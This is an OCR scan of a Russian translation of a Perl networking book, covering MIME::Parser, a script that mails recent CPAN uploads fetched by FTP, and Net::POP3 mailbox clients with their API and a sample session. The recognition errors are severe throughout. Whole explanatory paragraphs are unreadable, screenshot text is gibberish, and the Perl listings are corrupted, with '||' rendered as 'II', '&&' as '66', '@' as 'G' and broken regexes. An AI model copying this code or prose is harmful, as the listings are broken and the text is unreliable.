синтаксические ошибки в сообщении MIME во время интерпретации. Если.пэраметр вызова этого '
метода имеет истинное значение (значение по умолчанию), то ошибки вызывают предупреждающее
сообщение, а если нет, эти ошибки а процессе выполнения метода parse () активизируют фаталь-..]
! ное исключение. *» ■■• *'|
$error = Sparser->last_error 4
$head — $parser->last__head »>'.]
Эти два метода;могут применяться для.работы снеинтерПретируемыми сообщениями MIME, |
Метод.Jest^errbrfc). Возвращает последнеесообщение об ошибке, выработанное во время самой
,: последней операции интерпретации. Это сообщение формируется при обнаружении ошибки, и для
"Обеспечения ббспвр&бсймой работы необходимо либо установить истинное значение парчметрл ме-
fofla i|nbreAi_rrf-rs.F)', либэ вложить вызов метода pnrse о бЧлокоуэ1 {).
Метод l.vst^hea^O аэзеращаст.йСъскт mime: гНе^йтерхнег) у^гняиэ, последнего петой
даннЙхУ для котор<Я£ была предпринята попытка интррпреЧацйи^Лаже ^сли тело сорбцриия^нб Сы-
, ло успешно интерпретирована/ мгжне исяЬльэсеать эагслоаок, возвращенный этим методсм, для
; еосстан вления хотя бц части инф-зручции, например строки заголовка* имени отрав' для.
212
Часть П. Разработка клиентов для основных служб
Пример применения модуля MIME: отправка по
почте последних поступлений в архив CPAN
В данном разделе разрабатывается приложение, которое объединяет
возможности модуля Net: : FTP, описанного в главе 6, и модулей Mail и MIME, рассматриваемых
в настоящей главе. Эта программа выполняет регистрацию на FTP-узле архива CPAN
по адресу: ftp.perl.org, считывает файл RECENT, содержащий список модулей
и пакетов, которые были недавно предоставлены на этом узле в общее пользование,
загружает их, а затем включает как файловые дополнения в исходящее сообщение
электронной почты. Замысел этого сценария состоит в том, чтобы он вьшолнялся
через каждую неделю для получения автоматически формируемого уведомления о
новых поступлениях в архив CPAN.
В листинге 7.8 приведен код сценария mail_r ecent .pi.
Листинг 7.8. Сценарий mail_recent.pl
0: #!/usr/local/bin/perl -w
1: # Файл: mail_recent.pl
use strict;
use Net::FTP;
use MIME::Entity;
use constant HOST => "ftp.perl.org';
use constant DIR => '/pub/CPAN';
use constant RECENT => 'RECENT';
use constant MAILTO => "lstein";
use constant DEBUG => 1;
10: my %RETRIEVE;
11: my $TMPDIR = $ENV{TMPDIR} II '/usr/tmp';
12: warn "logging in\n" if DEBUG;
13: my $ftp = Net::FTP->new(HOST)
or die "Couldn't connect: $G\n";
14: $ftp->login('anonymous') or die $ftp->message;
15: $ftp->cwd(DIR) or die $ftp->message;
16: # Получить файл RECENT
17: warn "fetching RECENT file\n" if DEBUG;
18: my $fh = $ftp->retr(RECENT) or die $ftp->message;
19: while (<$fh>) {
20: chomp;
21: $RETRIEVE{$1} = $_
if m!"modules/by-module/.+/(["/]+\.tar\.gz)$!;
22: }
23: $fh->close;
24: my $count = keys %RETRIEVE;
25: my $message = "Please find enclosed $count
recent modules submitted to CPAN.\n\n";
26: # Приступить к созданию сообщения MIME
27: my $mail = MIME::Entity->build(
Глава 7. Протокол отправки почты SMTP
213
28
29
30
31
32
Subject => 'Recent CPAN submissions',
To => MAILTO,
Type => 'text/plain1.
Encoding => '7bit',
Data => $message,
);
33: # Получить каждый из указанных файлов и преобразовать во
# вложение
34: for my $file (keys «RETRIEVE) {
35: my $remote_path = $RETRIEVE{$file};
36: my $local_path = "$TMPDIR/$file";
37: warn "retrieving $file\n" if DEBUG;
38: $ftp->get($remotej?ath,$local jpath)
or warn($ftp->message) and next;
$mail->attach(Path => $local_path.
Encoding => 'base64'.
Type => 'application/x-gzip',
Description => $file.
Filename => $file);
39
40
41
42
43
44
}
45: $mail->sign(File => "$ENV{HCME}/.signature")
if -e "$ENV{HCME}/.signature";
46
47
48
warn "sending mail\n" if DEBUG;
$mail->send('smtp');
$mail->purge;
49: $ftp->quit;
Проведем анализ программы.
Строки 1-4. Загрузка модулей. Включена строгая проверка синтаксиса и загружены модули
Net: : FTP И MIME "Entity.
Строки 5-9. Определение констант. Устанавливаются константы с указанием FTP-узла, к
которому должно быть выполнено подключение, каталога CPAN и имени самого файла recent.
Объявлена также константа с почтовым адресом получателя сообщения (в данном случае
указано имя пользователя на локальном компьютере автора) и константа debug, которая
включает режим выдачи подробных сообщений о ходе выполнения программы.
Строки 10,11. Объявление глобальных переменных. Глобальная переменная %retrieve
содержит список файлов, которые должны быть получены из архива CPAN. Переменная $tmpdir
содержит путь к каталогу, в котором должны временно храниться загруженные файлы перед их
отправкой по почте. Значение этой переменной определяется из переменной среды tmfdir или,
если не указано иное, устанавливается равным /usr/tmp. Пользователи Windows и Macintosh
должны проверить и установить значение переменной, подходящее для их системы.
Строки 12-15. Регистрация на узле CPAN и выборка файла recent. Создается новый
объект Net:: ftp и выполняется регистрация на зеркальном узле CPAN. При успешном
выполнении происходит переход в каталог, содержащий архив, и вызов метода retro объекта FTP
для получения дескриптора файла, из которого может быть считан файл recent.
Строки 17-23. Интерпретация файла recent. Файл recent содержит список всех файлов архива
CPAN, которые являются новыми или обновлены в последнее время; но все их загружать не нужно.
Интересующим нас файлам ссстэетстпуют строки, которые выглядят следующим образом.
modules/by-module/Apache/Apache-Filter-1.Oil.tar.gz
modules/by-module/Apache/Apache-iNcom-0.09.tar.gz
modules/by-module/Audio/Audio-Play-MPG123-0.04.tar.gz
modules/by-module/Bundle/Bundle-WWW-Search-ALL-1.09.tar.gz
214
Часть П. Разработка клиентов для основных служб
Файл recent открывается для чтения, выполняется его построчный просмотр и поиск строк,
которые соответствуют заданному образцу. Имя файла и путь к нему в архиве CPAN
сохраняются в переменной %retrieve.
После обработки дескриптора файла он закрывается.
• Строки 24-32. Начало почтового сообщения. Исходящее почтовое сообщение начинается
с краткого сопроводительного текста, в котором указано число вложений. Создается новый
объект mime: : Entity путем вызова конструктора build () с указанием вводного текста в
качестве первоначального информационного наполнения.
Обратите внимание, что параметры, передаваемые методу build (), определяют создание
однокомпонентного документа типа text/plain. В дальнейшем, после добавления вложений,
мы воспользуемся способностью модуля mime: :Entity преобразовывать однокомпонентное
сообщение в многокомпонентное, если в этом возникает необходимость.
• Строки 33-44. Выборка модулей и присоединение их к письму. Выполняется цикл по
именам файлов, хранящимся в переменной %retrieve. При обработке каждого файла
вызывается метод get () объекта FTP для загрузки файла во временный каталог. В случае успешного
выполнения используется параметр Filename для присоединения файла к исходящему
почтовому сообщению путем вызова метода attach() объекта mine: :Entity верхнего уровня.
Другие параметры метода attach О устанавливают кодировку base 64 и определяют тип
MIME application/x-gzip. В соответствии с общепринятым соглашением, файлы CPAN
сжаты программой gzip. Добавляется также краткое описание файлового дополнения; в
настоящее время это — просто копия имени файла.
• Строка 45. Добавление подписи к исходящему письму. Если в начальном каталоге
текущего пользователя имеется файл . signature, то вызывается метод sign () объекта MIME для
присоединения его к концу сообщения.
• Строки 46-48. Отправка письма. Вызывается метод send о объекта nime: : Entity для
кодирования сообщения в формате MIME и отправки его по протоколу SMTP. После выполнения этого
действия вызывается метод purge () объекта и из временного каталога удаляются загруженные
файлы. Удаление файлов таким образом стало возможным, потому что данные файлы легли
в основу тел компонентов MIME в виде подкласса mime: :Body:: File при их присоединении
к исходящему сообщению, и поэтому метод purge () рекурсивно удаляет эти файлы.
Обратите внимание, что для обеспечения возможности поиска действующего сервера SMTP
методом send() должен быть правильно настроен пакет libnet. Если такой поиск не
выполняется, проверьте и исправьте файл Libnet. cf g.
• Строка 49. Закрытие соединения FTP. Последний этап состоит в закрытии соединения FTP
путем вызова метода quit() объекта FTP.
На рис. 7.2 приведен снимок с экрана Netscape Navigator, на котором показано
результирующее сообщение MIME. После щелчка на одном из вложений появляется
запрос, сохранить ли его на диске, чтобы можно было распаковать и построить модуль.
Недостатком этой программы является то, что имена файлов в архиве CPAN могут
оказаться сокращенными; по ним не всегда удается догадаться, для чего предназначен
пакет. Приятным дополнением к этому сценарию была бы распаковка пакета,
просмотр его содержимого для поиска документации POD и извлечение строки
описания, которая следует за заголовком NAME. Эта информация могла бы затем
использоваться в поле Description: объекта MIME: :Entity вместо простого имени файла.
Более простой вариант мог состоять во включении файла . readme, который часто
(но не всегда) сопровождает файл . tar. gz пакета.
Резюме
Модули Net: :SMTP, Mail: : Internet и Mail: : Mailer позволяют решить первую
задачу организации обмена почтовыми сообщениями — отправку правильно
оформленной почты Internet, и значительно упрощают эту операцию. В пакете MIME: : Tools
Глава 7. Протокол отправки почты SMTP 215
p~
: Itecertt own wenrenm
Me Edit View Co Memo» Conmuncjut .
. _^ i^*« Jen 1ося enchr»
# ~~ ■■!■ W^ill i ■——^«»».j _
GvtMig NawMig Reply t-crwwd Fil« КшА
Pml Security 0»l.m
EL Recent CPAN submissions
Sncftr Otst
Lincoln Stein - ISS3
Г Racart CPAN «иЫюНогм
Subject (Is. «nl СРЛИ aobminiuia 1
Date: TU. 18 Jul 200015 S3 23 -СЛЮ _l
И m: Ultahl SltuUh ' SitlW>
To:ij-£Ji
Pteat* fcvl •flclowv' SO n»c« modtilvt »ubmmcd to СГ AN
Lincoln Г' Sinn CcM Spring Harto Laboratory
WarQcsN orj CsU Spring Harbor. NY
Poeibom neitabat м my tab in а м avfUfv
I tamwaPCShaMLrta-OGBlargi
P^Sh-^r^tTR^nT Г E.eoTJJJ;^.,,,,An:h-,(W"C*^"0
tmalartion: PC-Snwf J»J 11 в trf ,i
Мяте: CGWptlnalipfv' 11 jt rp
ЬмааДО^л: CGI-Application-1 1 largj
Нлям: inmo*c)u-m_1 0.1 tar ji
Type: Una Та
Type: Una Тар. Дплт (app*c*»(V» | >)
«W Г "
. А- ъ~ 4-> >&■
Рис. 7.2. Почтовое сообщение, отправленное из сценария ma 11 recent.pl
классы этих модулей применяются для создания и обработки сложных сообщений,
которые содержат вложения MIME.
В следующей главе показано, как решить вторую задачу— организовать прием
и обработку входящих сообщений. Кроме того, в ней содержатся практические
примеры обработки почтовых вложений с использованием модуля MIME: : Parser.
216
Часть П. Разработка клиентов для основных служб
Глава
Протоколы обработки
почты и сообщений групп
новостей POP, ШАР
и NNTP
В предыдущей главе были рассмотрены клиентские модули для отправки почты
Internet. В первой части настоящей главы описываются модули для получения почты
и обработки сообщений с вложениями (в том числе мультимедийными). Во второй
части представлены клиенты для протокола NNTP, работа которого тесно связана
с почтой.
Почтовый протокол
Для доступа к почте Internet чаще всего применяются два протокола: РОРЗ
и IMAP. Оба протокола позволяют пользователю обращаться к хранилищам почты на
удаленных компьютерах и предоставляют методы получения содержимого почтового
ящика пользователя, загрузки почты, просмотра и удаления ненужных сообщений.
Самым старым и наиболее простым из этих двух протоколов является РОРЗ (Post
Office Protocol version 3 — Почтовый протокол версии 3). Этот протокол, описанный
в документах RFC 1725 и STD 53, предоставляет несложный интерфейс для получения
списка, выборки и удаления почтовых сообщений, хранящихся на удаленном сервере.
Протокол ГМАР (Internet Message Access Protocol — Протокол доступа к сообщениям
электронной почты через Internet), описанный в документе RFC 2060, предоставляет
более сложные средства управления наборами удаленных и локальных почтовых
ящиков и их синхронизации при подключении пользователя.
В настоящем разделе рассматривается выборка почты с сервера РОРЗ. В архиве
CPAN есть, по меньшей мере, два модуля Perl для работы с серверами РОРЗ:
Mail:: POP3Client, написанный Сином Даудом (Sean Dowd), и Net: : РОРЗ Грэма
Барра (Graham Ban). Оба модуля, по сути, предоставляют одинаковые функциональные
возможности, но в них используются разные API-интерфейсы. Наиболее важное разли-
Глава 8. Протоколы обработки почты и сообщений групп новостей... 217
а
чие между ними состоит в том, что модуль Net: : РОРЗ позволяет сохранять содержимое
почтового сообщения в дескрипторе файла, a Mail: : P0P3Client считывает все
почтовое сообщение в память. Поскольку возможность сохранять информацию в
дескрипторе файла очень важна при работе с большими сообщениями электронной почты
(например, содержащими вложения MIME), автор рекомендует модуль Net: : РОРЗ.
Модуль Net:: РОРЗ является потомком модуля Net:: Cmd, поэтому он по своему стилю
аналогичен модулям Net:: FTP и Net: : SMTP. Работа с ним начинается с создания нового
объекта Net:: РОРЗ, подключенного к хосту почтового ящика. В случае успешного
подключения выполняется регистрация с указанием имени пользователя и пароля, а затем
осуществляется вызов различных методов для получения содержимого почтового ящика,
выборки отдельных сообщений и, возможно, удаления выбранных сообщений.
Получение сводных данных о содержимом
почтового ящика РОРЗ
В листинге 8.1 приведена небольшая программа, с помощью которой можно
получить доступ к почтовому ящику пользователя на компьютере с хранилищем почты и
вывести краткий список отправителей и полей темы всех новых сообщений. Имя
пользователя и почтовый хост должны быть указаны в командной строке с использованием
формата username@mailbox.host. Программа выводит запрос указать пароль.
Листинг пакета PromptUtil.pm, применяемого для этой цели, приведен в Приложении А.
Листинг 8.1. Получение списка содержимого в ящике пользователя для
bxoi- щей почты
0: #!/usr/local/bin/perl -w
1: # Файл: pop_stats.pl
use strict;
use Net::POP3;
use Mail::Header;
use PromptUtil;
6: my ($user, $host) = split (A@/, shift, 2) ;
7: ($user 66 $host)
or die "Usage: pop_stats.pl username\@mailbox.host\n";
8: my $passwd = get_passwd($user,$host) II exit 0;
9: my $pop = Net::POP3->new($host,Timeout=>30)
or die "Can't connect to $host: $!\n";
10: my $messages = $pop->login($user=>$passwd)
or die "Can't log in: ",$pop->message,"\n";
11: my $last = $pop->last;
12: $messages += 0;
13: print "inbox has $messages messages (",$messages-$last," new)\n";
14
15
16
17
18
19
for my $msgnum ($last+l .. $messages) {
my $header = $pop->top($msgnum);
my $parsedhead = Mail::Header->new($header);
chomp (my $subject = $parsedhead->get('Subject')),
chomp (my $from = $parsedhead->get('From'));
$from = clean from($from);
218
Часть II. Разработка клиентов для основных служб
20
21
22
23
24
25
26
27
28
29
printf "%4d %-25s %-50s\n",$rtisgnum, $f rom, $subject;
}
$pop->quit;
sub clean_from {
local $_ = shift;
/""([л\"]+)" <\S+>/ 66 return $1
/л([л<>]+) <\S+>/ 66 return $1
/~\S+ \((Г\)]+)\)/ 66 return $1
return $_;
}
Проведем анализ программы.
Строки 1-6. Загрузка модулей. Вызывается модуль Net: :POP3 для доступа к удаленному
POP-серверу и модуль Mail::Header для интерпретации полученных заголовков писем.
Вызывается также новый вспомогательный модуль prcmptutil, разработанный автором,
который предоставляет функцию get_passwd(), наряду с другими функциями вывода
приглашения для пользователя.
Строки 6-8. Получение имени пользователя, имени хоста и пароля. Имена пользователя
и хоста берутся из командной строки, и с помощью функции get_passwd() выдается
приглашение пользователю ввести пароль. Эта функция отключает зхо-повтор терминала, чтобы
пароль не отображался на экране.
Строка 9. Подключение к хосту почтового ящика. Вызывается метод new() модуля
Net: :POP3 для подключения к указанному хосту с предоставлением серверу 30 секунд, в
течение которых он должен ответить приветственным сообщением. Конструктор new о
возвращает объект Net:: РОРЗ.
Строки 10-13. Регистрация и подсчет сообщений. Вызывается метод login о объекта
РОРЗ для регистрации с именем пользователя и паролем. В случае успешной регистрации
выполняется подсчет общего числа сообщений в почтовом ящике пользователя; если в
почтовом ящике сообщений нет, этот метод еозеращает значение ОБО ("нулевое, но истинное"). Это
значение равно 1, если оно рассматривается как логическое, предназначенное для проверки
того, была ли регистрация успешной, и О — при использовании для подсчета числа доступных
сообщений.
Затем вызывается метод last О объекта РОРЗ для получения номера последнего
сообщения, считанного пользователем (если не было считано ни одного сообщения, этот метод
возвращает 0). Номер последнего сообщения используется для получения списка непрочитанных
сообщений. Поскольку число сообщений, выбранное методом login (), может принимать
значение ОБО, в строке 12 оно складывается с нулем для преобразования а обычное число.
После этого выводится общее число старых и новых сообщений.
Строки 14-21. Получение сводных данных о сообщениях. Все сообщения в почтовом
ящике имеют последовательно возрастающие номера, которые начинаются с 1. Для каждого
непрочитанного сообщения вызывается метод top () объекта POP для выборки заголовка
сообщения е виде ссылки на массив строк, а затем осуществляется их передача методу
Nail: :Header->new() для интерпретации. Дважды вызывается метод get О
интерпретированного заголовка для выборки строк Subject: и From:, и адрес отправителя передается
вспомогательной подпрограмме clean_f rom () для преобразования в более удобный формат.
Затем выводится номер сообщения, имя отправителя и тема.
Строка 22. Разрыв сеанса связи с сервером. Метод quit () объекта POP корректно
разрывает соединение.
Строки 23-29. Вспомогательная подпрограмма clean_from(). Эта подпрограмма
преобразует адрес отправителя в более удобный формат, извлекая имя отправителя с
использованием одного из следующих трех обычных форматов адреса:
"Lincoln Stein" <lsteinGcshl.org>
Lincoln Stein <lsteinGcshl.org>
lstein@cshl.org (Lincoln Stein)
Глава 8. Протоколы обработки почты и сообщений групп новостей...
219
При выполнении программы могут быть получены следующие результаты.
% pop stats.pl IsteinGlocalhost
inbox has 6 messages (6 new)
1 Geoff Winisky Re: total newbie question
2 Robin Lofving Server updates
3 James W Goldblum Comments part 2
4 Jessica Raymond Statistics on Transaction Security
5 James W Goldblum feedback access from each page
6 The Western Web The Western Web Newsletter
API-интерфейс модуля Net::P0P3
Для модуля Net: : РОРЗ предусмотрен простой API-интерфейс. Он позволяет уста-
навливать и разрывать соединение с сервером, получать список сообщений,
выбирать заголовки сообщений и сами сообщения, а также удалять ненужные сообщения.
Spop = Ket::POP3->naw(C$hostn,$optl=>Svall,$opt2=>Svai2.. I]) ,T*S' fc
W f Метод new о создает новый объект, Net: :РОРЗ. Первый, необязательный параметр представ-'
! ляет ссвой имя или IP-адрес хостл псчтсаого ящика. За ним может следовать ряд (пар
"олция/эначинии". Если хост не указан, его имя Судет взято из параметра "POP3_hosts" модул
N.jt: :Config, указанного при инсталляции мсдул» Irbne*-. Опции перечислены в табл. 8.1.
"ч^лция Resv?ort применяется с некоторыми серверами РОГЗ, которые требуют от клиентов,
подключения из зл.оеэерАи^ванных пгртсв
П. случае, неудачного, завершения метод, new () Еиэвращает значение unflof и в переменной'$>
устанавливается определенный код ошибки
Jmeutayes - }рор->1одш< [$us*«rnan>e[ ,Jpa«eword] ] )
Метод login () предпринимает попытку зарегистрироваться на сервере с использованием
указанного имени пользователя и пароля. Если не. указано имя пользователя или пароль либо не
указаны иба значения, метад lo jin() ищет информацию аутентификации для данного хоста в файле
. netгс пельзоьатиля.
При успешном выполнении метод login () возвращает общее число сообщений,
находящихся в почтовом ящике пользователя. Если там нет сообщений, метод
login () возвращает число с плавающей точкой 0Е0, которое рассматривается как
истинное значение при использовании его в качестве логического значения для
проверки того, была ли регистрация успешной. Однако число 0Е0 принимает нулевое
значение при его применении для подсчета числа доступных сообщений. При
возникновении ошибки метод login () возвращает значение undef и переменная
$pop->message () содержит сообщение об ошибке.
Если регистрация оканчивается неудачей, можно предпринять еще одну попытку
или попытаться зарегистрироваться с помощью метода арор (). Некоторые серверы
закрывают сеанс связи после определенного числа неудачных попыток регистрации.
За исключением метода quit (), ни один из прочих методов нельзя будет применять
до тех пор, пока сервер не начнет снова принимать запросы на регистрацию.
Некоторые POP-серверы принимают команду АРОР.
$iueasagea - $pcp->ap&p($ue«rnaae,8paasv^rri)
Команда «гор аналогична стандартней кг манде регистрации, но. вместо отправки паролей по
сети в открытом аиде, в ней применяется систем.-) вызова/ответа для прсаирки подлинности
пользователя без о€ра?зтки чисто текстлпых.паролей. При использовании данного метода, в отличие гт
мотгдэ login о, не пред усматривается использование файла .netrc, если не заданы имя
пользователя и пароль Метод «.pop () ы-звра -ет такое же значение, как и_мвтг login.O.
220
Часть П. Разработка клиентов для основных служб
Таблица 8.1. Опции метода Net:: POP3->new ()
Опция Описание Значение по умолчанию
Port Удаленный порт, к которому должно Порт POPS (порт с номером 110)
быть выполнено подключение
ResvPort Локальный порт, к которому должна Временный порт
быть выполнена привязка
Timeout Время ожидания ответа в секундах 120
Debug Применение режима выдачи подробных undef
отладочных сообщений
Многие серверы, работающие по протоколу РОРЗ, требуют специальной
настройки для обеспечения правильной аутентификации пользователя с помощью команды
АРОР. В частности, для многих серверов UNIX необходим файл паролей, отличный от
системного файла паролей.
После успешной регистрации для доступа к почтовому ящику может применяться
ряд методов.
$last_msgnum = $pop->last - -т - * ^ - *~ " * " " jj
j Сообщения POP нумеруются от 1: вплоть до общегр числа сообщений в ящике для входящей
почты. Пользователь может в любое время прочитать одно или несколйсо сообщений с помощью
команды retr (которая описана ниже), не удаляя их из ящика-для входящей почты. Метод last?) |
возвращает наибольший номер из набора полученных ранее сообщений или О, если выборка сооб-3
щений не выполнялась: Новые сообщения начинаются, с номера Slastjnsgnum+l,
| Многие POP-серверы хранят информацию о последнем;€читанном сообщении от одного сеанса,
к другому, а другие ее отбрасывают. г|.
$axrayre£ = $pop->get ($msgnum[ ,FILEHANDLE1) ^
I ji Вслед за успешной регистрацией метод get о выбирает сообщение по номеру с
использованием команды retr протокола РОРЗ. Этот метод может/быть вызван с дескриптором файла, и в этом
случае содержимое сообщения (и заголовок, и тело) записывается в дескриптор файла. В ином
случае метод get () возвращает ссылку на массив, содержащий строки сообщения. '
$handle = $pop->getfh($msgnum)s * i
Данный метод аналогичен get О, но возвращаемым значением является дескриптор файла,
привязанный к объекту Net: :рорЗ. При чтении из этого дескриптора.файла может быть получено
содержимое сообщения. После того как дескриптор файла возвратит признак конца файла, он дол- .«
женУбыть закрыт и отброшен. ,, 4-3 ;
$flag = $pop->delete(Smsgnum),
Метод delete (У: отмечает указанное сообщение для удаления.- Отмеченное сообщение не t
уничтожается до тех пор, пока не будет вызван метод quit (), поэтому с него может быть снята от- '
метка путем вызова метода reset ()^.%. .-
$arrayref = $pop->top($msgnum[ ,$lines])
MeTOfl.topO возвращает заголовок указанного сообщения как ссылку на массив строк. Этот фор- ~~
мат может применяться для передачи Методу Mail: iftea^er->newf!. Если предусмотрен необяза-"
тельный параметр $lanes, то в массив будет включено указанное число строк тела сообщения. Щ
$hashref = $pop->iist "I
$size = $pop'->lislt (Smsgnum) j
МетодЛ-ist () возвращает информацию о размерах сообщений в почтовом ящике. При вызове
без параметров он возвращает ссылку, на хеш, ключами которого являются идентификаторы сооб-'
щений, а значениями— размеры сообщений в байтах. При вызове с идентификатором сообщения
этот метод возвращает размер указанного сообщения, а если указан неправильный номер сообще- '
ния •—значение undef i \
i (Smsg_count,$size) = $pop->popstat j
Глава 8. Протоколы обработки почты и сообщений групп новостей...
221
i Метод, pop_stat () возвращает список с двумя элементами, который состоит из числа,
сообщений в псчтопрм ящике, не отмеченных ;;ля удаления, и размера почтовсгс ящика в Сайтах
$uidl ш $pdr->uidl (I Sxegmam])
[ Метод uidl.fr аээгращлет уникальный идентификатор дли указанногонЬмерэ сообщения. При
": ьызове без параметров: он аозерэщает ссылку на хешиключами ксторогг Являются номера
сообщений во всем почтовом ящике, а значениями —- их уникальные .идентификаторы. Этгт метод поэесля-
' ет упростить отслеживание клиентами сообщений от еднгто сеанса к друггыу, поскольку немера
сообщений меняются;гв результате увеличения или уменьшениячисла Сообщений в почтовом ящикь,
а идентификаторы остаются неизменными
При вызове метода quit () сообщения, отмеченные для удаления, уничтожаются,
если для отмены их удаления не был вызван метод reset ().
9po$>->rose£
Этот метод переводит почтовый ящик е исходное состояние, снимая стматки с сообщений
отмеченных для удаления.
Spop-xjuit
■Метод juit О пгэгзляет закрыть сеанс связи, с удаленным сервером и разорвать соединение,
•се сообщения, отмеченные для удаления, удпля • ся и* почте щика.
Выборка и обработка сообщений MIME
по протоколу POP
Для демонстрации реального приложения Net: : РОРЗ автор разработал сценарий
pop_fetch.pl, в котором совместно применяются средства модулей Net:: РОРЗ
и MIME: : Parser. В листинге 8.2 приведен сеанс работы с этой программой. После
вызова с указанием имени почтового ящика в форме userGhost, программа
запрашивает пароль учетной записи. Затем она выводит число сообщений в почтовом
ящике, отображает дату, имя отправителя, строку темы первого сообщения и выдает
приглашение прочитать его или перейти к следующему.
При выборе пользователем опции чтения, программа отображает заголовок
сообщения и текстовую часть тела. Затем появляется отчет с указанием, что сообщение
имеет два вложения (точнее, их следует называть "частями MIME в формате,
отличном от text /plain"). Для каждого вложения программа выдает приглашение указать
способ его обработки. Для первого вложения типа image/ jpeg был выбран просмотр
с помощью предпочтительной программы просмотра изображения (приложение XV,
написанное Джоном Брэдли (John Bradley)). В результате на экране появилось новое
окно с изображением. После выхода из программы просмотра сценарий снова
выводит приглашение указать способ обработки. На этот раз было решено сохранить
изображение под его именем, предусмотренным по умолчанию.
Листинг 8.2. Сеанс «аботы со сценарием »о«_fetch.pl
% pop_fetch.pl IsteinGlocalhost
Password:
You have 2 messages in your inbox.
MESSAGE 1 of 2
Thu, 20 Jul 2000 04:29:32 -0700 (PDT) Lincoln Stein
<lstein@cshl.org>
222
Часть П. Разработка клиентов для основных служб
Test files
Read it (y/n) (*q* to quit) [у]: у
X-P0P3-Rcpt: IsteinGpesto
Return-Path: <lstein>
Received: (from IsteinGlocalhost)
by pesto.Foo.COM (8.8.5/8.8.5) id JAA11032
for lstein; Sun, 23 Jul 2000 09:03:25 -0400
MIME-Vers ion: 1.0
Content-Type: multipart/mixed; boundary="lxMljPEhfo"
Content-Transfer-Encoding: 7bit
Message-ID: <14710.58012.359339.323657@gargle.gargle.HOWL>
X-Mailer: VM 6.72 under 21.1 "20 Minutes to Nikko" XEmacs Lucid
(patch 2)
Reply-To: lsteinGcshl.org
From: Lincoln Stein <lsteinGpresto.cshl.org>
To: lstein
Subject: Test files
Date: Thu, 20 Jul 2000 04:29:32 -0700 (PDT)
Here are three attachments for testing the MIME viewing
application.
Lincoln D. Stein Cold Spring Harbor Laboratory
This message has 2 attachments. View them (y/n)?
Cq' to quit) [у] : у
ATTACHMENT 1 of 2
Type: image/jpeg.
Filename: puppies.jpg
<v>iew, <s>ave or <n>ext ("q* to quit) Is]: v
Запускается программа XV для просмотра изображения
<v>iew, <s>ave or <n>ext ('q' to quit) [s]: s
Save to file or <n>ext Cq" to quit) [./puppies.jpg]:
Written to ./puppies.jpg
<v>iew, <s>ave or <n>ext Cq' to quit) [s]: n
ATTACHMENT 2 of 2
Type: application/x-msword
Description: ms word document
Filename: get_this_book.doc
<s>ave or <n>ext ('q' to quit) [s]: s
Save to file or <n>ext Cq' to quit) [./get_this_book.doc]:
Written to ./get_this_book.doc
<v>iew, <s>ave or <n>ext ('q' to quit) [s]: n
Delete this message (y/n) Cq' to quit) [n]: у
MESSAGE 2 of 2
Thu, 20 Jul 2000 05:10:18 -0500 (EDT) John Doe <doe@cshl.org>
Your letter...
Read it (y/n) ('q' to quit) [y] : q
Глава 8. Протоколы обработки почты и сообщений групп новостей... 223
Следующим вложением является документ Microsoft Word. Для документа этого
типа на компьютере пользователя нет ни одной программы просмотра, поэтому
приглашение допускает только возможность сохранения его на диске.
После завершения работы с последним вложением программа выдает запрос,
оставить ли сообщение, удалить его из ящика для входящей почты или закончить
работу. Пользователь заканчивает работу. После этого программа переходит к
следующему необработанному сообщению.
Сценарий popJetch.pl
Сценарий pop_fetch.pl состоит из двух частей. Первая часть, приведенная
в листинге 8.3, обеспечивает поддержку пользовательского интерфейса. Неболыиой
модуль PopParser.pm создает подклассы объектов Net: :POP3 таким образом, что
сообщения, полученные из почтового ящика РОРЗ, автоматически
интерпретируются и преобразуются в объекты MIME: : Entity.
Вначале рассмотрим сценарий pop_f etch .pi.
Листинг 8.3. Сценарий pop_f etch .pi
0: #!/usr/local/bin/perl -w
1: # Файл: pop_fetch.pl
2: use strict;
3: use lib '.•;
4
5
6
7
8
9
10
11
use PopParser;
use PromptUtil;
use Carp qw(carp confess);
use constant HTML_VIEWER => 'lynx %s';
use constant IMAGE_VIEWER => 'xv -';
use constant MP3_PLAYER => 'mpgl23 -';
use constant WAV_PLAYER => 'wavplay %s';
use constant SND_PLAYER => 'aplay %s';
12: $ENV{PATH} = '/bin:/usr/bin:/usr/Xll/bin:/usr/local/bin';
13: delete $ENV{$ } foreach qw/ENV IFS BASH_ENV CDPATH/;
14
15
16
17
18
my($username,$host) = shift =~ /([\w.-]+)0([\w.-]+)/;
$username or die «'USAGE';
Usage: pop_parse.pl usernameGpop.server
USAGE
19: my $entity;
20: $SIG{INT} = sub { exit 0 };
21: my $pop = PopParser->new($host)
or die "Connect to host: $!\n";
22: my $passwd = get_passwd($username,$host);
23
24
25
my $message_count = $pop->apop($username => $passwd)
II $pop->login($username => $passwd)
or die "Can't log in: ",$pop->message,"\n";
224
Часть П. Разработка клиентов для основных служб
26: print "You have ",$message_count+=0,
" messages in your inbox.\n\n";
27: for my $msgnum (1..$message_count) {
28: print "MESSAGE $msgnum of $message_count\n";
29: print_header($pop->top($msgnum));
30: if (prompt("\nRead it (y/n)",'y') eq 'у') \
31: next unless $entity = $pop->get($msgnum);
32: display_entity($entity);
33: $entity->purge;
34: }
35: if (prompt('Delete this message (y/n)','n') eq 'y') {
36: $pop->delete($msgnum);
37: }
38: } continue { print "\n" }
39: # Вывести строку с кратким содержанием заголовка
40: sub print_header {
41: my $header = join '', G{shift()};
42: $header =~ s/\n\s+/ /gm;
43: my (%fields) = $header =~ /([\w-]+):\s+(.+)$/mg;
44: print join "\t",Gfields{'Date','From','Subject'},"\n";
45: }
46: # Просмотреть сообщение
47: sub display_entity {
48: my $entity = shift;
49: # Вначале обработать заголовок
50: my $head = $entity->head;
# Вывести весь заголовок верхнего уровня
51: $head->print if $head->get('From*);
52: # Затем обработать тело сообщения
53: print "\n";
54: # Многокомпонентное сообщение
55: if ($entity->is_multipart) {
56: handle_multipart($entity);
57: }else{ # Однокомпонентное сообщение
58: display_j?art ($entity) ;
59: }
60: }
61: # Вызывается для обработки всех частей многокомпонентного
# сообщения
62: sub handle_multipart {
63: my $entity = shift;
64: my Gparts = $entity->parts;
65: # Отделить части text/plain от остальных частей
66: my Gtext = grep $_->miitie_type eq 'text/plain',
Gparts;
67: my Gattachments = grep $_->mime_type ne 'text/plain',
Gparts;
68: # Отобразить все части text/plain
Глава 8. Протоколы обработки почты и сообщений групп новостей...
69:
display_part($ ) foreach (Gtext);
70: return unless my $atcount = ^attachments;
71: my $prompt = $atcount > 1 ? "\nThis message has
$atcount attachments. View them (y/n)?"
72: : "\nThis message has an
attachment. View it (y/n)?";
73: return unless prompt($prompt,'y') eq *y*;
